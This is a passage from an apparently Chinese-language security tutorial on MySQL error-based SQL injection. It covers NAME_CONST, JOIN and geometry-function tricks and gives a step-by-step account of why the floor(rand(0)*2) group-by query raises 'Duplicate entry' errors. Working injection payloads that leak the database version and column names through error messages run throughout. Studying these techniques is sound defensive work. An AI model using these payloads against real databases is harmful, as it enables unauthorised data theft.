ERROR 1105 (HY000): XPATH syntax error: '.40-log5.5.40-log'

NAME_CONST:

mysql列名重复会报错,我们利用name_const来制造一个列。

mysql> select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
ERROR 1060 (42S21): Duplicate column name '5.5.40-log'
mysql> select * from mysql.user where user = 'root' and 1=(select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x);
ERROR 1060 (42S21): Duplicate column name '5.5.40-log'

但是name_const函数要求参数必须是常量。

mysql> select NAME_CONST(user(),1),NAME_CONST(user(),1);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST
mysql> select NAME_CONST(database(),1),NAME_CONST(database(),1);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST

同样利用这个列不能重复的道理,使用join函数可以爆列名。

mysql> select * from(select * from user a join user b)c;
ERROR 1060 (42S21): Duplicate column name 'Host'
mysql> select * from(select * from user a join user b using(host))c;
ERROR 1060 (42S21): Duplicate column name 'User'
mysql> select * from(select * from user a join user b using(host,user))c;
ERROR 1060 (42S21): Duplicate column name 'Password'

几何函数:

例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()

mysql> select multipoint((select * from (select * from (select * from (select version())a)b)c));
ERROR 1367 (22007): Illegal non geometric '(select `c`.`version()` from (select '5.5.40-log' AS `version()` from dual) `c`)' value found during parsing

【SQL注入】MySQL Duplicate entry报错注入原理

很常用的一个SQL报错注入语句:

mysql> select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
mysql> select count(*) from information_schema.tables group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
mysql> select host from user where user = 'root' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.731' for key 'group_key'

这里我新建一张表测试:

mysql> create table test (name varchar(50));
Query OK, 0 rows affected (0.01 sec)

插入第一条数据,没有报错。

mysql> insert into test set name = 'vincent';
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from test group by floor(rand(0)*2);
+----------+
| count(*) |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)

再插入一条数据,还是没有报错。

mysql> insert into test set name = 'tom';
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from test group by floor(rand(0)*2);
+----------+
| count(*) |
+----------+
| 2 |
+----------+
1 row in set (0.00 sec)

再插入一条数据,执行SQL发现报错了。

mysql> insert into test set name = 'gary';
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from test group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

也就是数据库中有三条及以上数据的时候才会报错。


这里我们先来测试一下floor(rand(0)*2)

mysql> select floor(rand(0)*2) from test;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
+------------------+
9 rows in set (0.00 sec)

多次测试发现这个查询结果是固定的,即结果就是0 1 1 0 1 1 ….. 其实这个报错就是由于这个固定的数据导致的。


然后说一下count和group的虚拟表

mysql> select * from test;
+---------+
| name |
+---------+
| vincent |
| tom |
| gary |
| gary |
| gary |
| gary |
| tom |
| tom |
| gary |
+---------+
9 rows in set (0.00 sec)
mysql> select name,count(*) from test group by name ;
+---------+----------+
| name | count(*) |
+---------+----------+
| gary | 5 |
| tom | 3 |
| vincent | 1 |
+---------+----------+
3 rows in set (0.00 sec)

这里实际上会创建一张虚拟表,有key和value两个字段,其中key相当于这里的name,不可重复,相当于主键,而value是一个累加的值。
开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新记录,存在则count(*)字段直接加1。
这里造成报错的一个最主要原因是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。在配合之前我们说到的0 1 1 0 1 1这个固定结果就导致了报错,具体过程如下:
1)查看前先创建了虚表。
2)取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:
key value
1     1
3)查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:
key value
1     2
4)查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。
5)整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。


参考文章:
https://xianzhi.aliyun.com/forum/read/767.html